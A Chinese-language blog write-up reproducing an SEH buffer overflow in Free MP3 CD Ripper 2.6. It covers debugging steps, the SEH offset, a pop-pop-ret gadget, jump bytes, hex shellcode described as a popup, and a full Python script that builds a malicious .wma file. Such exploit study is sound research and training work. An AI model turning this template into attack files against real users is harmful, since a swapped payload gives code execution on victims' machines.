Loading... # 介绍 从这个网址获取,软件和相关的 exploit https://www.exploit-db.com/exploits/45412 MP3 CD Ripper是一个强大的和容易的CD制作程序。它建立在一个CD开膛手和音频转换器。音频转换音频CD音轨,MP3等流行的音频格式如WAV,WMA OGG,FLAC以及APE等你可以转换你的MP3到WAV,WAV等为WMA的MP3,WAV等光盘工具允许您从远程CDDB获取CD信息。 软件和poc在下面链接中 链接:https://pan.baidu.com/s/1mPOHK0RnksMUTvpHcEgqng 提取码:0ejk # 环境 漏洞分析环境与工具 操作系统:Win 7 专业版(64) 软件:Free MP3 CD Ripper 2.6 工具:x32DBG,IDA Pro,pycharm # 复现 首先创建一个.wma文件,里面填写AAAA填充50KB ![image.png](http://www.irohane.top/usr/uploads/2021/01/2604763854.png) 在Free Mp3 CD中转换 ![image.png](http://www.irohane.top/usr/uploads/2021/01/2591735092.png) 点击打开,发现程序崩溃。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/303473935.png)任务查看器发现报错位置是AAAA ![image.png](http://www.irohane.top/usr/uploads/2021/01/383299014.png) ## 使用X32DBUG 调试 可以看到溢出到了SEH链,那么就可以从SEH链下手。首先要确定SEH错误的地点。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/189605030.png) 0x589FEBC SEH链为 41414141 在栈中往上找从哪里开始的 0x589EEA8![image.png](http://www.irohane.top/usr/uploads/2021/01/2563772163.png) 0x589FEBC - 0x589EEA8 = 0x1014 = 4116+4【SEH函数】4120 我们在0x1014+4这个位置上更改为666666666实验 ![image.png](http://www.irohane.top/usr/uploads/2021/01/1115542315.png) 再次运行发现修改成功。那么就可以借助SEH坐跳板为所欲为了。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/464453628.png) 按照过SEH的套路 0x589 EEA8 缓冲区开头:-----注意开启了随即基址-使用第四外和高四位组合就到当前新的位置 1. 找到pop pop ret - 小技巧 ctrl+b 特征搜索 5? 5? c2就可以找到。 注意这个地址不能是随机基址 ![image.png](http://www.irohane.top/usr/uploads/2021/01/3428098755.png) 1. 4ced25 2. 将SEH函数指向pop pop ret 地址,返回并组建语句返回缓冲区开头。 1.![image.png](http://www.irohane.top/usr/uploads/2021/01/2936160000.png) 修改5A4FEBC 为相对偏移跳过xxxFEC0这个地址,并在下面xxxFEC9 跳到缓冲区开始 1. ![image.png](http://www.irohane.top/usr/uploads/2021/01/1984259497.png) 3. 粘贴入ShellCode 4. 使用之前的ShellCode 弹窗 ``` 33C0E8FFFFFFFFC3588D701B33C966B935018A040E340788040EE2F680340E07FFE66784EB27EC4F40627357756864466363756274744B6866634B6E657566757E427F460752746275343529636B6B074A62747466606245687F4607427F6E7357756864627474074E75686F66696207EF070707075C638C32370707078C710B8C711B8C318C510F555455EF120707078CF75D8A4CC6555655F8D75D54515755EF69070707528CEB84EB0B558C520F8C753B8A33358C717F8A33358C791B8A3B3D8E7AFB8C79278A3B3D8E7AFF8C79238A3B3D8E7AF334C7EC06478C72FF8C33818C520F8A33358C5A0B8A7CB4BE09070707FBF4A172E48C72F334F8618C3B418C52FB8C33BD8C520F8A03355D8CE25AC50F07528CEB84EB0F8C5A138A4CD76D076D0756F8520B8A4CDC5657F852178E42FB8A4CE056F8720FF852178E42FF8A4CF46D0756566D07F852FB6D07F852FF8CE25AC5170707 ``` ![image.png](http://www.irohane.top/usr/uploads/2021/01/3390222494.png) 之后进行运行 ![image.png](http://www.irohane.top/usr/uploads/2021/01/3170887681.png) # 编写POC 1. ShellCode 1. ``` 33C0E8FFFFFFFFC3588D701B33C966B935018A040E340788040EE2F680340E07FFE66784EB27EC4F40627357756864466363756274744B6866634B6E657566757E427F460752746275343529636B6B074A62747466606245687F4607427F6E7357756864627474074E75686F66696207EF070707075C638C32370707078C710B8C711B8C318C510F555455EF120707078CF75D8A4CC6555655F8D75D54515755EF69070707528CEB84EB0B558C520F8C753B8A33358C717F8A33358C791B8A3B3D8E7AFB8C79278A3B3D8E7AFF8C79238A3B3D8E7AF334C7EC06478C72FF8C33818C520F8A33358C5A0B8A7CB4BE09070707FBF4A172E48C72F334F8618C3B418C52FB8C33BD8C520F8A03355D8CE25AC50F07528CEB84EB0F8C5A138A4CD76D076D0756F8520B8A4CDC5657F852178E42FB8A4CE056F8720FF852178E42FF8A4CF46D0756566D07F852FB6D07F852FF8CE25AC5170707 ``` 1. 功能就是弹窗 2. SEH 溢出点位置 1. 0x1014 3. 复制在汇编里构建的跳转 ![image.png](http://www.irohane.top/usr/uploads/2021/01/2233195831.png) ``` EB09909025ED4C00909090909090909090909090909090909090909090909090909090909090909090909090E9DAEFFFFF909090909090909090909090909090 ``` 4. 获取缓存大小,可知最大B000个字节 ![image.png](http://www.irohane.top/usr/uploads/2021/01/4269786142.png) 使用python编写ShellCode ```python import os import re import struct # ShellCode字符串 def str_toShellCode(_str): text_list = re.findall(".{2}", _str) new_text = " ".join(text_list).split() result = [] for i in new_text: result.append(i) return result def playLoad(): #弹窗的ShellCode str_shell = "33C0E8FFFFFFFFC3588D701B33C966B935018A040E340788040EE2F680340E07FFE66784EB27EC4F40627357756864466363756274744B6866634B6E657566757E427F460752746275343529636B6B074A62747466606245687F4607427F6E7357756864627474074E75686F66696207EF070707075C638C32370707078C710B8C711B8C318C510F555455EF120707078CF75D8A4CC6555655F8D75D54515755EF69070707528CEB84EB0B558C520F8C753B8A33358C717F8A33358C791B8A3B3D8E7AFB8C79278A3B3D8E7AFF8C79238A3B3D8E7AF334C7EC06478C72FF8C33818C520F8A33358C5A0B8A7CB4BE09070707FBF4A172E48C72F334F8618C3B418C52FB8C33BD8C520F8A03355D8CE25AC50F07528CEB84EB0F8C5A138A4CD76D076D0756F8520B8A4CDC5657F852178E42FB8A4CE056F8720FF852178E42FF8A4CF46D0756566D07F852FB6D07F852FF8CE25AC5170707" # 需要在0x1014添加这个代码 将当前运行的EIP 跳到缓冲区 str_code = "EB09909025ED4C00909090909090909090909090909090909090909090909090909090909090909090909090E9DAEFFFFF909090909090909090909090909090" #16进制列表 ShellCode =str_toShellCode(str_shell) ship_code = str_toShellCode(str_code) #缓冲区最大B000个字节 poc = [] for num in range(0,0xb000): #插入ShellCode if (len(poc)) == 0x40: poc+=ShellCode continue #插入跳板 if (len(poc)) ==0x1014: #添加跳转指令准备跳到混充区开头 poc+=ship_code continue #否则就增加90 nop poc.append(str(90)) if (len(poc))>=0x6000: break return "".join(poc) def SaveFile(n_Str): fp = open("poc.wma","wb") #转化为16进制 resulr = bytes.fromhex(n_Str) fp.write(resulr) fp.close() if __name__ == "__main__": str_poc = playLoad() #写入文件 SaveFile(str_poc) ``` ![image.png](http://www.irohane.top/usr/uploads/2021/01/309381036.png) 最后修改:2021 年 01 月 20 日 © 允许规范转载 赞 0 如果觉得我的文章对你有用,请随意赞赏